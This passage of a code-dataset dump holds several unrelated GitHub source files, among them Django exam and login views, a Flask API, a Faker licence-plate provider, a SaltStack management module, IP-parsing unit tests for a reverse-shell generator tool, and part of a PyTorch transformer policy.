data.\n        \"\"\"\n        cleaned_data = super(UploadForm, self).clean()\n        exam_title = cleaned_data.get('exam_title')\n        exam_source = cleaned_data.get('exam_source', None)\n        try:\n            file = cleaned_data.get('questions_file')\n            if file.content_type != 'application/json':\n                raise ValidationError('Question file must be in JSON format')\n            exam_create = ExamCreate()\n            parsing_errors = exam_create.create_exam(exam_title, file, exam_source, is_user_uploaded=True,\n                                                     uploader=self.uploader)\n            if parsing_errors:\n                for error in parsing_errors:\n                    self.add_error(None, error)\n        except AttributeError:\n            self.add_error(None, ValidationError('File with questions data wasn\\'t provided.'))\n\n\nclass QuestionReportCreateUpdateForm(forms.ModelForm):\n    \"\"\" Form for filling or updating exam question report \"\"\"\n\n    class Meta:\n        model = QuestionReport\n        fields = ['text']\n\n    text = forms.CharField(label='Report text')\n\n\nclass QuestionReportUpdateFormAdmin(forms.ModelForm):\n    \"\"\" Form for updating report as admin \"\"\"\n\n    class Meta:\n        model = QuestionReport\n        fields = ['resolution', 'status']\n\n    resolution = forms.CharField(label='Report text')\n    status = forms.CharField(label='Status')\n","repo_name":"ConstructCP/django_exams","sub_path":"exam_site/exams/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3294,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"30073740105","text":"from flask import Blueprint, jsonify, request,json, redirect, url_for, session\nfrom config.db import db, app, ma\nfrom models.Tipo_de_Actividad import Tipo_de_Actividad, TipodeActividadSchema\n\nruta_TipoA = Blueprint(\"ruta_Tipo_de_Actividad\",__name__)\n\ntipodea_schema = TipodeActividadSchema()\ntipodeas_Schema = TipodeActividadSchema(many=True)\n\n@ruta_TipoA.route(\"/Tipo_de_Actividades/<int:id>/<tipo>\", methods=[\"GET\"])\ndef tipo_de_actividades(id, tipo):\n    resultall = Tipo_de_Actividad.query.all()\n    result = tipodeas_Schema.dump(resultall)\n    session['actividades'] = result\n    return redirect(url_for(\"ruta_item.items\", id= id, tipo= tipo))\n@ruta_TipoA.route(\"/saveTipodeActividad\", methods = [\"POST\"])\ndef saveTipodeActividad():\n    \n    name = request.json['name']\n    \n    activi = db.session.query(Tipo_de_Actividad.id).filter(Tipo_de_Actividad.nombre == name).all()\n    result = tipodeas_Schema.dump(activi)\n\n    if len(result)==0:\n        new_activi = Tipo_de_Actividad(name)\n        db.session.add(new_activi)\n        db.session.commit()\n        resultall = Tipo_de_Actividad.query.all()\n        result = tipodeas_Schema.dump(resultall)\n        session['actividades'] = result\n\n        activi = db.session.query(Tipo_de_Actividad.id).filter(Tipo_de_Actividad.nombre == name).all()\n        result = tipodeas_Schema.dump(activi)\n\n        act = result[0]['id']\n\n        return jsonify({'mensaje': act}) \n    else:\n        return jsonify({'error': 'Opss... nombre en uso'}), 401\n\n@ruta_TipoA.route(\"/updateTipodeActividad\", methods = [\"PUT\"])\ndef updateTipodeActividad():\n    id = request.json['id']\n    nactivi = Tipo_de_Actividad.query.get(id)\n    nactivi.nombre = request.json['name']\n    db.session.commit()\n    return \"Datos Actualizado con exitos\"\n\n@ruta_TipoA.route(\"/deleteTipodeActividad/<id>\", methods = [\"GET\"])\ndef deleteTipodeActividad(id):\n    activi = Tipo_de_Actividad.query.get(id)\n    db.session.delete(activi)\n    db.session.commit()\n    return jsonify(tipodea_schema.dump(activi))","repo_name":"MauricioMolina12/ClassroomProject","sub_path":"src/api/Tipo_de_Actividad.py","file_name":"Tipo_de_Actividad.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17692751485","text":"from typing import List\n\nfrom .. import Provider as AutomotiveProvider\n\n\nclass Provider(AutomotiveProvider):\n    \"\"\"Implement automotive provider for ``pl_PL`` locale.\n\n    Sources:\n\n    - https://en.wikipedia.org/wiki/Vehicle_registration_plates_of_Poland\n    \"\"\"\n\n    license_formats = (\n        \"?? #####\",\n        \"?? ####?\",\n        \"?? ###??\",\n        \"?? #?###\",\n        \"?? #??##\",\n        \"??? ?###\",\n        \"??? ##??\",\n        \"??? #?##\",\n        \"??? ##?#\",\n        \"??? #??#\",\n        \"??? ??##\",\n        \"??? #####\",\n        \"??? ####?\",\n        \"??? ###??\",\n    )\n\n    def license_plate_regex_formats(self) -> List[str]:\n        \"\"\"Return a regex for matching license plates.\n\n        .. warning::\n           This is technically not a method that generates fake data, and it\n           should not be part of the public API. User should refrain from using\n           this method.\n        \"\"\"\n        return [plate.replace(\"?\", \"[A-Z]\").replace(\"#\", \"[0-9]\") for plate in self.license_formats]\n","repo_name":"joke2k/faker","sub_path":"faker/providers/automotive/pl_PL/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":16539,"dataset":"github-code","pt":"16"}
+{"seq_id":"19121537013","text":"import random\r\nimport matplotlib.pyplot as plt\r\n\r\n# DNA dizisini oluşturma\r\ndna_sequence = \"ATCGATCGATCGATCGATCG\"\r\n\r\n# Primerlerin belirlenmesi\r\nforward_primer = \"ATCG\"\r\nreverse_primer = \"CGAT\"\r\n\r\n# Boş listeler oluşturma\r\namplified_sequences = []\r\ncycle_numbers = []\r\ntotal_length = len(dna_sequence)  # Başlangıçta toplam DNA uzunluğu\r\n\r\n# PCR simülasyonu\r\ndef pcr_simulation(dna_seq, forward, reverse, cycles, total_length):\r\n    print(\"Başlangıç DNA Dizisi:\", dna_seq)\r\n    for i in range(cycles):\r\n        # Primerlerin eşleşmesi\r\n        forward_match = dna_seq.find(forward)\r\n        reverse_match = dna_seq.find(reverse)\r\n\r\n        # DNA amplifikasyonu\r\n        amplified_sequence = dna_seq[forward_match:reverse_match + len(reverse)]\r\n        amplified_sequences.append(total_length)\r\n        cycle_numbers.append(i)\r\n\r\n        print(f\"Iterasyon {i + 1} - Amplifikasyon: {amplified_sequence}\")\r\n\r\n        # DNA replikasyonu\r\n        dna_seq += amplified_sequence\r\n        total_length = len(dna_seq)\r\n\r\n    return dna_seq, amplified_sequences, cycle_numbers\r\n\r\n# Simülasyonu çalıştırma\r\namplified_dna, amplified_sequences, cycle_numbers = pcr_simulation(dna_sequence, forward_primer, reverse_primer, 10, total_length)\r\nprint(\"Son DNA Dizisi: \", amplified_dna)\r\n\r\n# Grafik oluşturma\r\nplt.figure(figsize=(10, 6))\r\nplt.plot(cycle_numbers, amplified_sequences, marker='o', linestyle='--', color='b')\r\nplt.title('PCR Amplifikasyonu')\r\nplt.xlabel('Amplifikasyon Döngüsü')\r\nplt.ylabel('Toplam DNA Uzunluğu')\r\nplt.show()\r\n","repo_name":"erent8/biotechnological-projects","sub_path":"pcr_tech.py","file_name":"pcr_tech.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"71429995207","text":"import time,datetime,os,shutil,json\r\nfrom salt import client,config,loader,key\r\nfrom saltstack.models import Accepted_minion,PlayBook,Project,Async_jobs\r\nfrom saltstack.salt_sls_ret_format import PlayBookResponse\r\nfrom OPcenter.settings import BASE_DIR,SUCCESS_DATA,EXCEPT_DATA\r\n\r\n# 管理key\r\nclass Key_manage(object):\r\n    def __init__(self):\r\n        self.opts = config.master_config('/etc/salt/master')\r\n        self.keys = key.get_key(self.opts)\r\n\r\n    # key列出----------------------------------\r\n    # 列出全部minion的key\r\n    def all_keys(self):\r\n        all_keys = self.keys.list_keys()\r\n        return all_keys\r\n\r\n    # 已添加的minion\r\n    def accepted_minion(self):\r\n        accepted =  self.all_keys()['minions']\r\n        return accepted\r\n\r\n    # 待添加的minion\r\n    def unaccepted_minion(self):\r\n        unaccepted = self.all_keys()['minions_pre']\r\n        return unaccepted\r\n\r\n    # 已经拒绝的minion\r\n    def rejected_minion(self):\r\n        rejected = self.all_keys()['minions_rejected']\r\n        return rejected\r\n\r\n    # key操作---------------------------------\r\n    # 添加minion\r\n    def accept_key(self,minion_id):\r\n        try:\r\n            self.keys.accept(minion_id)\r\n            return True\r\n        except Exception as err:\r\n            return err\r\n\r\n    # 拒绝minion的key\r\n    def reject_key(self,minion_id):\r\n        try:\r\n            self.keys.reject(minion_id)\r\n            return True\r\n        except Exception as err:\r\n            return err\r\n\r\n    # 删除minion的key\r\n    def delete_key(self,minion_id):\r\n        try:\r\n            self.keys.delete_key(minion_id)\r\n            return True\r\n        except Exception as err:\r\n            return err\r\n\r\n# Grains的使用----------------\r\nclass Grains(client.LocalClient):\r\n    # grains获取节点信息\r\n    def get_minion_items(self,minion_id_list):\r\n        # 定义需要获取的信息\r\n        items = ['id', 'osfinger', 'cpu_model', 'num_cpus', 'mem_total']\r\n        # 获取minion_id的硬件信息\r\n        result = self.cmd(minion_id_list, 'grains.item', items,tgt_type='list')\r\n        for id in result.keys():\r\n            items = result[id]\r\n            now_time = datetime.datetime.fromtimestamp(time.time())\r\n            if type(items) == dict:\r\n                items['datetime'] = now_time\r\n                mem_gib = 0.5 if round((items['mem_total'])/1024) == 0 else round((items['mem_total'])/1024)\r\n                items['mem_gib'] = mem_gib\r\n                items['status'] = 1\r\n                Accepted_minion.objects.filter(id=id).update(**items)\r\n            else:\r\n                errinfo={'id':id,'datetime': now_time, 'status': 0, 'cpu_model': '主机不在线', 'osfinger': '主机不在线', 'mem_gib': 0, 'mem_total': 0,'num_cpus': 0,}\r\n                Accepted_minion.objects.filter(id=id).update(**errinfo)\r\n        return  result\r\n\r\n# test模块\r\nclass Test_ping(client.LocalClient):\r\n    # 获取主机的状态\r\n    def get_status(self,minion_id_list):\r\n        # id不能为空，避免异常\r\n        if minion_id_list is not None:\r\n            # 接收test.ping的返回结果\r\n            result = self.cmd(minion_id_list,'test.ping',[],tgt_type='list')\r\n            #result必然是一个字典\r\n            # 更新数据库\r\n            for id in result.keys():\r\n                now_time = datetime.datetime.fromtimestamp(time.time())\r\n                status = 1 if result[id] else 0 # True=1；False=0\r\n                # 检测状态更新到数据库\r\n                Accepted_minion.objects.filter(id=id).update(status=status,datetime=now_time)\r\n            return result\r\n\r\n# master配置\r\nclass Master_manage():\r\n    def __init__(self):\r\n        # 配置文件导入目录 sls_conf\r\n        self.init_conf = '%s/saltstack/init_conf/' % BASE_DIR\r\n        self.state_sls = '%s/saltstack/state_sls/' % BASE_DIR\r\n        self.salt_etc = '/etc/salt/'\r\n        self.srv_salt = '/srv/salt/'\r\n    # master配置初始化\r\n    def master_init(self):\r\n        # 判断salt安装与否\r\n        if os.path.exists(self.salt_etc):\r\n\r\n            # Grains自定义目录\r\n            grains_path = self.srv_salt+'_grains/'\r\n            os.makedirs(grains_path) if not os.path.exists(grains_path) else 'grains path existed'\r\n            # 初始化目录\r\n            init = self.srv_salt+'init'\r\n            os.makedirs(init) if not os.path.exists(init) else 'init path existed'\r\n            # 备份master配置文件\r\n            if os.path.exists(self.salt_etc+'master'):\r\n                master_bak = 'master_' + datetime.datetime.now().strftime('%Y%m%d_%H%M%S_%f')\r\n                os.rename(self.salt_etc+'master', self.salt_etc+'master_bak')\r\n            # 删除90天前的master_前缀的配置文件备份\r\n            for master_bak in os.listdir(self.salt_etc):\r\n                if master_bak.startswith('master_') and time.time() - os.path.getmtime(self.salt_etc+'master_bak') > 90*24*3600:\r\n                    os.remove(master_bak)\r\n            # 导入master的配置文件\r\n            shutil.copyfile(self.init_conf + 'master', self.salt_etc+'master')\r\n            return True\r\n        else:\r\n            return False\r\n\r\n    def grains_defined(self):\r\n        # 导入自定义grains文件\r\n        grains_path = '/srv/salt/_grains/'\r\n        grains_file = '/srv/salt/_grains/grains_defined.py'\r\n        if os.path.exists(grains_file):\r\n            grains_bak = datetime.datetime.now().strftime('%Y%m%d_%H%M%S_%f') + '_grains'\r\n            os.rename(grains_file, grains_path + grains_bak)\r\n        shutil.copyfile(self.init_conf + 'grains_defined.py', '/srv/salt/_grains/grains_defined.py')\r\n\r\n        result = client.LocalClient().cmd_async('*', 'saltutil.sync_all', [])\r\n        #result = client.LocalClient().cmd(minion_id, 'grains.item', ['md_op_linux_beijing_opcenter-slave','md_op_linux_shanghai_opcenter-slave','md_op_linux_qingdao_opcenter-slave','md_op_linux_shenzhen_opcenter-slave'])\r\n        return result\r\n\r\nclass PlayBook_manage():\r\n    def __init__(self):\r\n        # 配置文件导入目录 sls_conf\r\n        self.init_conf = '%s/saltstack/init_conf/' % BASE_DIR\r\n        self.state_sls = '%s/saltstack/state_sls/' % BASE_DIR\r\n        self.salt_etc = '/etc/salt/'\r\n        self.srv_salt = '/srv/salt/'\r\n\r\n    # 可执行的剧本\r\n    def sls_list(self):\r\n        sls_all = PlayBook.objects.all().values()\r\n        for sls_items in sls_all:\r\n            if not os.path.exists(sls_items['applied_file']):\r\n                PlayBook.objects.filter(id=sls_items['id']).update(status=0)\r\n        sls_list = PlayBook.objects.filter(status=1).values()\r\n        return sls_list\r\n\r\n\r\n    def file_upload(self,file_obj):\r\n        file_info = file_obj['file_context'].chunks().__next__()\r\n        try:\r\n            project = file_info.decode().splitlines()[0][2:]\r\n            description = file_info.decode().splitlines()[1][2:]\r\n        except Exception as error:\r\n            EXCEPT_DATA['data'] = '必须是utf-8编码：{} '.format(file_obj['file_context'].name)+ str(error)[0:70]\r\n            return EXCEPT_DATA\r\n        project_obj = Project.objects.filter(name=project).first()\r\n        if project_obj is None :\r\n            EXCEPT_DATA['data'] = '不存在的分组：{} '.format(str(project)[0:52])\r\n            return EXCEPT_DATA\r\n        applied_file = os.path.join(self.srv_salt,project_obj.name,file_obj['file_context'].name)\r\n        os.makedirs(os.path.dirname(applied_file)) if not os.path.exists(os.path.dirname(applied_file)) else None\r\n        applied_file_count = PlayBook.objects.filter(applied_file=applied_file).count()\r\n        if applied_file_count != 0 :\r\n            # 返回结果\r\n            EXCEPT_DATA['data'] = '文件名已存在：{} '.format(file_obj['file_context'].name)\r\n            return EXCEPT_DATA\r\n        else:\r\n            # 保存为文件\r\n            with open(applied_file, 'wb') as f:\r\n                for chunk in file_obj['file_context'].chunks():\r\n                    f.write(chunk)\r\n            # 保存到数据库\r\n            # 剧本名\r\n            sls = applied_file[9:-4] if applied_file[-4:] == '.sls' else '%s文件' % applied_file.split('.')[-1]\r\n            PlayBook.objects.create(project_id=project_obj.id,description=description,applied_file=applied_file,sls=sls)\r\n            SUCCESS_DATA['data'] = '上传成功'\r\n            return SUCCESS_DATA\r\n\r\n    # 查看和编辑\r\n    def save(self, playbook_path,playbook_context):\r\n        try:\r\n            with open(playbook_path, 'w') as f:\r\n                f.write(playbook_context)\r\n            return True\r\n        except Exception as error:\r\n            return error\r\n\r\n    def delete(self,playbook_path):\r\n        try:\r\n            # 删除文件（移动到回收目录）\r\n            playbook_file = os.path.basename(playbook_path)\r\n            recycling = '/srv/salt/Recycling/'\r\n            os.makedirs(recycling) if not os.path.exists(recycling) else None\r\n            shutil.move(playbook_path,recycling+playbook_file)\r\n            # 删除数据库记录\r\n            PlayBook.objects.filter(applied_file=playbook_path).delete()\r\n            return True\r\n        except Exception as error:\r\n            return error\r\n\r\n# 执行剧本\r\nclass Minion_state(object):\r\n    def __init__(self):\r\n        self.client = client.LocalClient()\r\n    # 执行剧本\r\n    def exe_sls(self,number,minion_id_list, playbook_id):\r\n        # 异步执行���态，minion_list是一个列表，playbook是一个字符串\r\n        try:\r\n            playbook = PlayBook.objects.get(id=playbook_id)\r\n        except Exception as error:\r\n            return (error, number)\r\n        minion_dict_values= Accepted_minion.objects.in_bulk(minion_id_list).values()\r\n        minion_list = []\r\n        for minion_id in minion_dict_values:\r\n            minion_list.append(str(minion_id))\r\n        if len(minion_id_list) == len(minion_list):\r\n            # 异步执行状态，minion_list是一个id列表，playbook.sls是一个剧本字符串\r\n            jid = self.client.cmd_async(minion_list, 'state.sls', [playbook.sls],tgt_type='list')\r\n            # 更新jid到数据库\r\n            start_time = datetime.datetime.fromtimestamp(time.time())\r\n            Async_jobs.objects.filter(number=number).update(jid=jid, start_time=start_time, status=1)\r\n            return (int(jid),number)\r\n        else:\r\n            for salt_id in minion_id_list:\r\n                if Accepted_minion.objects.filter(salt_id=salt_id).values():\r\n                    continue\r\n                else:\r\n                    return (int(salt_id),number)\r\n            else:\r\n                return (0, number)\r\n    # 保存执行结果\r\n    def save_sls(self,number,information):\r\n        finish_time = datetime.datetime.fromtimestamp(time.time())\r\n        if 'ERROR' in information:\r\n            Async_jobs.objects.filter(number=number).update(finish_time=finish_time, status=3,success_total=0,information=json.dumps(information))\r\n        else:\r\n            format_info = PlayBookResponse(information)\r\n            try:\r\n                Async_jobs.objects.filter(number=number).update(finish_time=finish_time, status=2, success_total=format_info.all['success'],information=format_info.all)\r\n            except Exception:\r\n                Async_jobs.objects.filter(number=number).update(finish_time=finish_time, status=2, success_total=0, information=format_info.all)\r\n","repo_name":"yin6516008/OPcenter","sub_path":"saltstack/salt_manage.py","file_name":"salt_manage.py","file_ext":"py","file_size_in_byte":11401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32955359470","text":"from datetime import timedelta\nfrom functools import cached_property\n\nfrom PySide2.QtCore import Qt, Signal\nfrom PySide2.QtGui import QPen, QTransform\nfrom PySide2.QtWidgets import QGraphicsDropShadowEffect, QGraphicsSceneMouseEvent\n\nfrom LevityDash.lib.ui.frontends.PySide.Modules.Handles.Incrementer import IncrementerGroup, Incrementer\n\nfrom LevityDash.lib.utils.data import TimeFrameWindow\nfrom LevityDash.lib.ui.Geometry import LocationFlag\nfrom LevityDash.lib.ui.frontends.PySide.utils import colorPalette\n\n__all__ = [\"GraphZoom\", \"TimeframeIncrementer\"]\n\n\"\"\"\nAdjusts the scope of a graph\nEvery Item added to a graph must connect to the action signal and have a slot that accepts an Axis object\nFigureRects, Plots, and PeakTroughLists are all connected to this signal\n\"\"\"\n\n\nclass TimeframeIncrementer(Incrementer):\n\n\tdef __init__(self, *args, **kwargs):\n\t\tsuper(TimeframeIncrementer, self).__init__(*args, **kwargs)\n\t\tself.setVisible(True)\n\t\tself.setEnabled(True)\n\n\tdef toolTip(self) -> str:\n\t\tif self.location.isLeft:\n\t\t\treturn \"Zoom out\"\n\t\telse:\n\t\t\treturn \"Zoom in\"\n\n\tdef hoverMoveEvent(self, event) -> None:\n\t\tpos = event.pos()\n\t\tif pos.x() < 1 or pos.y() < 1:\n\t\t\tself.setToolTip(self.toolTip())\n\t\tsuper(TimeframeIncrementer, self).hoverMoveEvent(event)\n\n\tdef increase(self):\n\t\tacceptedButtons = self.acceptedMouseButtons()\n\t\tself.setAcceptedMouseButtons(Qt.NoButton)\n\t\tself.parent.timeframe.decrease(self.parent.incrementValue)\n\t\tsuper(TimeframeIncrementer, self).increase()\n\t\tself.ensureFramed()\n\t\tself.setAcceptedMouseButtons(acceptedButtons)\n\n\tdef decrease(self):\n\t\tacceptedButtons = self.acceptedMouseButtons()\n\t\tself.setAcceptedMouseButtons(Qt.NoButton)\n\t\tself.parent.timeframe.increase(self.parent.incrementValue)\n\t\tsuper(TimeframeIncrementer, self).decrease()\n\t\tself.ensureFramed()\n\t\tself.setAcceptedMouseButtons(acceptedButtons)\n\n\tdef ensureFramed(self):\n\t\treturn\n\t\tgraph = self.surface\n\t\ttd = max((f.figureTimeRangeMax for f in graph.figures), default=graph.timeframe.range)\n\t\tr = td.total_seconds()/3600*graph.pixelsPerHour\n\t\tif r < graph.width():\n\t\t\tgraph.timeframe.range = td\n\n\t@cached_property\n\tdef _shape(self):\n\t\ts = super(TimeframeIncrementer, self)._shape\n\t\tT = QTransform()\n\t\tT.scale(1.3, 1.3)\n\t\tS = T.map(s)\n\t\tcenterDiff = s.boundingRect().center() - S.boundingRect().center()\n\t\tS.translate(centerDiff)\n\t\treturn S\n\n\t@property\n\tdef position(self):\n\t\treturn super(TimeframeIncrementer, self).position\n\n\tdef paint(self, painter, option, widget):\n\t\tpainter.setPen(QPen(Qt.black, 10))\n\t\tpainter.drawPath(self._path)\n\t\tsuper(TimeframeIncrementer, self).paint(painter, option, widget)\n\n\nclass GraphZoom(IncrementerGroup):\n\thandleClass = TimeframeIncrementer\n\toffset = -60\n\tlocations = [LocationFlag.BottomLeft, LocationFlag.BottomRight]\n\n\tdef __init__(self, parent: 'Panel', timeframe: TimeFrameWindow, *args, **kwargs):\n\t\tself.timeframe = timeframe\n\t\tsuper(GraphZoom, self).__init__(parent=parent, offset=-60, *args, **kwargs)\n\t\tself.setVisible(True)\n\t\tself.setEnabled(True)\n\n\t@property\n\tdef incrementValue(self) -> int:\n\t\tdays = self.timeframe.rangeSeconds/60/60/24\n\t\tif days < 1:\n\t\t\treturn timedelta(hours=3)\n\t\telif days < 2:\n\t\t\treturn timedelta(hours=6)\n\t\telif days < 5:\n\t\t\treturn timedelta(hours=12)\n\t\telif days < 10:\n\t\t\treturn timedelta(days=1)\n\t\thour = self.timeframe.rangeSeconds/60/60\n\t\tif hour < 24:\n\t\t\treturn timedelta(days=1)\n\t\telif hour < 18:\n\t\t\treturn timedelta(hours=1)\n\t\telif hour < 12:\n\t\t\treturn timedelta(minutes=30)\n\t\telif hour < 6:\n\t\t\treturn timedelta(minutes=15)\n\t\telse:\n\t\t\treturn timedelta(minutes=5)\n","repo_name":"noblecloud/LevityDash","sub_path":"src/LevityDash/lib/ui/frontends/PySide/Modules/Handles/Timeframe.py","file_name":"Timeframe.py","file_ext":"py","file_size_in_byte":3545,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"16"}
+{"seq_id":"41589864141","text":"from django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.hashers import make_password\nfrom django.shortcuts import render, redirect\nfrom django.views.generic.base import View\nfrom .models import UserProfile\n\nfrom .forms import LoginForm, RegisterForm,  UserInfoForm\n\n\ntitle='学习分析在线服务系统'\nphoneNumber='123'\nclass LoginView(View):\n    def get(self,request):\n        login_form=LoginForm()\n        return render(request,'login.html',{'login_form':login_form,'title':title,'phoneNumber':phoneNumber})\n    def post(self,request):\n        login_form=LoginForm(request.POST)\n        if login_form.is_valid():\n            user_name=request.POST.get('username','')\n            user_password=request.POST.get('password','')\n            user=authenticate(username=user_name,password=user_password)\n            if user is not None:\n                login(request,user)\n                return render(request, \"index.html\")\n            else:\n                return render(request, \"login.html\", {\"msg\": \"用户名或密码错误\", \"login_form\": login_form})\n        else:\n            return render(request, \"login.html\", {\"login_form\": login_form})\nclass LogoutView(View):\n    def get(self, request):\n        logout(request)\n        return render(request,'login.html',{\"msg\":\"您已经成功退出登录状态\" })\nclass RegisterView(View):\n    def get(self,request):\n        register_form=RegisterForm()\n        return render(request, \"register.html\", {\"register_form\": register_form, \"title\": title})\n    def post(self,request):\n        register_form=RegisterForm(request.POST)\n        if request.method=='POST':\n            if register_form.is_valid():\n                user_name=request.POST.get('username','')\n                if UserProfile.objects.filter(username=user_name):\n                    return render(request,'register.html',{'title':title,'register_form':register_form,'msg':'该账号已经被注册'})\n                user_password = request.POST.get(\"password\", \"\")\n                user_nickname = request.POST.get(\"nickname\", \"\")\n                user_danwei = request.POST.get(\"danwei\", \"\")\n                user_email=request.POST.get('email','')\n                user_profile = UserProfile()\n                user_profile.username = user_name\n                user_profile.nickname = user_nickname\n                user_profile.danwei = user_danwei\n                user_profile.email = user_email\n                user_profile.is_active = True\n                user_profile.password = make_password(user_password)\n                user_profile.save()\n                return render(request, \"register.html\", {\"title\": title, \"msg\": u\"注册成功\"})\n            else:\n                return render(request, \"register.html\",{\"register_form\":register_form, \"title\": title})\n        else:\n            form = UserInfoForm(\n                initial={\n\n                    'danwei': '一中',\n                    'leibie': '管理员',\n             }\n            )\n            return render(request, \"register.html\", {\"register_form\": form, \"title\": title})\ndef userviews(request):\n    user_form=UserInfoForm(request.POST)\n    user=UserProfile.objects.get(username=request.user)\n    if request.method=='POST':\n        if user_form.is_valid():\n            nick_name=user_form.cleaned_data['nick_name']\n            birthday=user_form.cleaned_data['birthday']\n            gender=user_form.cleaned_data['gender']\n            leibie=user_form.cleaned_data['leibie']\n            danwei = user_form.cleaned_data['danwei']\n            nianji = user_form.cleaned_data['nianji']\n            user.nickname = nick_name\n            user.birthday = birthday\n            user.gender = gender\n            user.leibie = leibie\n            user.danwei = danwei\n            user.nianji = nianji\n            user.save()\n            message = '修改成功'\n            return redirect('/user_center/',{'message':message})\n        else:\n            message = '修改失败'\n            user_form = UserInfoForm()\n            return render(request, 'usercenter-info.html',{'Edit_FormInput':user_form,'message':message})\n    else:\n        nick_name = user.nickname\n        birthday = user.birthday\n        gender = user.gender\n        leibie = user.leibie\n        danwei = user.danwei\n        nianji = user.nianji\n        form = UserInfoForm(\n            initial={\n\t            'nick_name' : nick_name,\n\t            'birthday' : birthday,\n\t            'gender': gender,\n\t            'leibie': leibie,\n\t            'danwei': danwei,\n\t            'nianji': nianji,\n            }\n        )\n        return render(request, 'usercenter-info.html', {'Edit_FormInput':form})\n\ndef index(request):\n    userinfo = UserProfile.objects.all()\n    return render(request, 'index.html', locals())\n\n","repo_name":"newwuchaoping/test2","sub_path":"user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6241257305","text":"#!/usr/bin/env python3\nimport unittest\nfrom unittest.mock import patch\n\nfrom generator import ReverseShellGenerator\nfrom netifaces import AF_INET\nfrom termcolor import colored\n\n\n\nclass TestReverseShellGenerator(unittest.TestCase):\n\n    def setUp(self):\n        self.generator = ReverseShellGenerator()\n\n    @patch('builtins.print')\n    @patch('reverseshellgenerator.generator.ni.ifaddresses')\n    @patch('reverseshellgenerator.generator.ni.interfaces')\n    def test_do_ip_interface(self, mock_interfaces, mock_ifaddresses, mock_print):\n        # mock network interface and corresponding IP address\n        mock_interfaces.return_value = ['eth0']\n        mock_ifaddresses.return_value = {AF_INET: [{'addr': '192.168.0.1'}]}\n\n        self.generator.do_ip('eth0')\n        mock_print.assert_called_with(colored(\"The IP address has been set as '192.168.0.1'\", 'green'))\n        self.assertEqual(self.generator.ip, '192.168.0.1')\n\n    @patch('builtins.print')\n    @patch('reverseshellgenerator.generator.ni.interfaces')\n    def test_do_ip_address(self, mock_interfaces, mock_print):\n        # mock no network interface\n        mock_interfaces.return_value = []\n\n        self.generator.do_ip('192.168.0.1')\n        mock_print.assert_called_with(colored(\"The IP address has been set as '192.168.0.1'\", 'green'))\n        self.assertEqual(self.generator.ip, '192.168.0.1')\n\n    @patch('builtins.print')\n    @patch('reverseshellgenerator.generator.ni.interfaces')\n    def test_do_ip_invalid(self, mock_interfaces, mock_print):\n        # mock no network interface\n        mock_interfaces.return_value = []\n\n        self.generator.do_ip('999.999.999.999')\n        mock_print.assert_called_with(colored(\"'999.999.999.999' does not appear to be an IPv4 or IPv6 address\", 'red'))\n        self.assertIsNone(self.generator.ip)\n\n    @patch('builtins.print')\n    def test_do_ip_empty(self, mock_print):\n        self.generator.do_ip('')\n        mock_print.assert_called_with(colored('The IP address must not be empty', 'red'))\n        self.assertIsNone(self.generator.ip)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"totekuh/reverse-shell-generator","sub_path":"src/tests/test_generator.py","file_name":"test_generator.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"17792701221","text":"import torch.nn as nn\nfrom khrylib.rl.core.distributions import DiagGaussian\nfrom khrylib.rl.core.policy import Policy\nfrom khrylib.rl.core.running_norm import RunningNorm\nfrom khrylib.models.mlp import MLP\nfrom khrylib.utils.math import *\nfrom design_opt.models.utils import *\nfrom design_opt.models.pos_enc import PositionalEncoding\n\n\nclass PolicyTransformer(Policy):\n    def __init__(self, cfg, agent):\n        super().__init__()\n        self.type = 'gaussian'\n        self.cfg = cfg\n        self.agent = agent\n        self.attr_obs_dim = agent.attr_obs_dim\n        self.sim_obs_dim = agent.sim_obs_dim\n        self.design_obs_dim = agent.design_obs_dim\n        self.control_state_dim = self.attr_obs_dim + self.sim_obs_dim + self.design_obs_dim\n        self.design_state_dim = self.attr_obs_dim + self.design_obs_dim\n        self.control_action_dim = agent.control_action_dim\n        self.model_action_dim = agent.design_obs_dim\n        self.action_dim = self.control_action_dim + self.model_action_dim\n\n        \"\"\" control \"\"\"\n        self.control_norm = RunningNorm(self.control_state_dim) if cfg.get('control_norm', True) else None\n        cur_dim = self.control_state_dim\n        # transformer\n        tf_cfg = cfg['control_transformer']\n        self.control_pos_enc = PositionalEncoding(tf_cfg['model_dim'], cur_dim, enc_type='original')\n        tf_layers = nn.TransformerEncoderLayer(tf_cfg['model_dim'], tf_cfg['nhead'], tf_cfg['ff_dim'], tf_cfg['dropout'])\n        self.control_tf = nn.TransformerEncoder(tf_layers, tf_cfg['nlayer'])\n        cur_dim = tf_cfg['model_dim']\n        # dist\n        self.control_action_mean = nn.Linear(cur_dim, self.control_action_dim)\n        self.control_action_log_std = nn.Parameter(torch.ones(1, self.control_action_dim) * cfg['control_log_std'], requires_grad=not cfg['fix_control_std'])\n        init_fc_weights(self.control_action_mean)\n\n        \"\"\" design \"\"\"\n        self.model_norm = RunningNorm(self.design_state_dim) if cfg.get('model_norm', True) else None\n        cur_dim = self.design_state_dim\n        # transformer\n        tf_cfg = cfg['model_transformer']\n        self.model_pos_enc = PositionalEncoding(tf_cfg['model_dim'], cur_dim, enc_type='original')\n        tf_layers = nn.TransformerEncoderLayer(tf_cfg['model_dim'], tf_cfg['nhead'], tf_cfg['ff_dim'], tf_cfg['dropout'])\n        self.model_tf = nn.TransformerEncoder(tf_layers, tf_cfg['nlayer'])\n        cur_dim = tf_cfg['model_dim']\n        # 